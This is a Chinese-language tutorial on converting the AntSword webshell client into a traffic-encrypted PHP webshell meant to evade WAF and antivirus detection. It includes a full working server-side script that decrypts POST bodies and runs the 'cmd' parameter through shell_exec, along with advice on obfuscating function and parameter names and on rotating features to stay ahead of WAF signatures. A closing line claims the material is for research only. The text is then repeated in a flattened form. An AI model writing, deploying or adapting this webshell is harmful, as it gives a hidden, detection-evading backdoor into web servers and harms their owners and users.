php_webshell免杀--从0改造你的AntSword
字数 556 2025-08-06 18:07:54

PHP Webshell免杀:从0改造蚁剑(AntSword)实现流量加密

0x00 前言

本文详细讲解如何通过改造蚁剑(AntSword)实现PHP Webshell的免杀效果,重点在于流量加密和特征弱化技术,绕过WAF检测。

0x01 改造思路

  1. 传统蚁剑的不足

    • 明文传输,容易被WAF识别
    • 固定特征明显
    • 密钥交互过程易被检测
  2. 改造方向

    • 实现流量加密
    • 弱化固定特征
    • 跳过明显的密钥交互过程
    • 保持原有功能完整性

0x02 关键技术实现

1. 流量加密方案

<?php
// 加密函数
function encrypt($data, $key) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv.$encrypted);
}

// 解密函数
function decrypt($data, $key) {
    $data = base64_decode($data);
    $iv = substr($data, 0, 16);
    $data = substr($data, 16);
    return openssl_decrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
}

// 密钥处理
$key = "自定义密钥"; // 需与客户端一致

2. 特征弱化技术

  1. 函数名混淆

    function x1x2x3($a, $b) { // 原encrypt函数
        // 实现代码
    }
    
  2. 参数名随机化

    function process($p1, $p2) {
        // 使用非描述性参数名
    }
    
  3. 代码分块

    // 将完整功能拆分为多个小函数
    function part1() {...}
    function part2() {...}
    

3. 通信协议改造

  1. 请求处理

    $input = file_get_contents("php://input");
    $decrypted = decrypt($input, $key);
    parse_str($decrypted, $_POST);
    
  2. 响应处理

    $output = encrypt($result, $key);
    echo $output;
    

0x03 完整实现示例

<?php
// 自定义加密函数
function x1x2x3($d, $k) {
    $v = openssl_random_pseudo_bytes(16);
    $e = openssl_encrypt($d, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $v);
    return base64_encode($v.$e);
}

function x4x5x6($d, $k) {
    $d = base64_decode($d);
    $v = substr($d, 0, 16);
    $d = substr($d, 16);
    return openssl_decrypt($d, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $v);
}

// 主处理逻辑
function main_process() {
    $key = "ThisIsMySecretKey123"; // 需与客户端一致
    
    // 获取并解密输入
    $input = file_get_contents("php://input");
    if(!empty($input)) {
        $data = x4x5x6($input, $key);
        parse_str($data, $_POST);
    }
    
    // 执行命令
    if(isset($_POST['cmd'])) {
        $result = shell_exec($_POST['cmd']);
        echo x1x2x3($result, $key);
        exit;
    }
    
    // 文件管理等功能...
}

// 入口点
main_process();

0x04 客户端改造

  1. 加密发送

    function encryptSend(data) {
        // 实现与PHP端匹配的加密算法
        // ...
        return encryptedData;
    }
    
  2. 解密接收

    function decryptReceive(data) {
        // 实现解密逻辑
        // ...
        return decryptedData;
    }
    

0x05 注意事项

  1. 密钥管理

    • 客户端和服务端密钥必须一致
    • 建议使用动态密钥生成方案
  2. 特征更新

    • 阿里云等WAF已捕获部分特征
    • 需要定期更新加密方式和特征
  3. 功能完整性

    • 确保文件管理、数据库操作等核心功能正常
    • 测试各种环境下的兼容性

0x06 总结

通过改造蚁剑实现流量加密和特征弱化,可以有效绕过部分WAF检测。关键点在于:

  1. 实现可靠的加密通信
  2. 消除固定特征
  3. 保持功能完整性
  4. 定期更新对抗策略

注意:本文所述技术仅用于安全研究,请勿用于非法用途。

PHP Webshell免杀:从0改造蚁剑(AntSword)实现流量加密 0x00 前言 本文详细讲解如何通过改造蚁剑(AntSword)实现PHP Webshell的免杀效果,重点在于流量加密和特征弱化技术,绕过WAF检测。 0x01 改造思路 传统蚁剑的不足 : 明文传输,容易被WAF识别 固定特征明显 密钥交互过程易被检测 改造方向 : 实现流量加密 弱化固定特征 跳过明显的密钥交互过程 保持原有功能完整性 0x02 关键技术实现 1. 流量加密方案 2. 特征弱化技术 函数名混淆 : 参数名随机化 : 代码分块 : 3. 通信协议改造 请求处理 : 响应处理 : 0x03 完整实现示例 0x04 客户端改造 加密发送 : 解密接收 : 0x05 注意事项 密钥管理 : 客户端和服务端密钥必须一致 建议使用动态密钥生成方案 特征更新 : 阿里云等WAF已捕获部分特征 需要定期更新加密方式和特征 功能完整性 : 确保文件管理、数据库操作等核心功能正常 测试各种环境下的兼容性 0x06 总结 通过改造蚁剑实现流量加密和特征弱化,可以有效绕过部分WAF检测。关键点在于: 实现可靠的加密通信 消除固定特征 保持功能完整性 定期更新对抗策略 注意 :本文所述技术仅用于安全研究,请勿用于非法用途。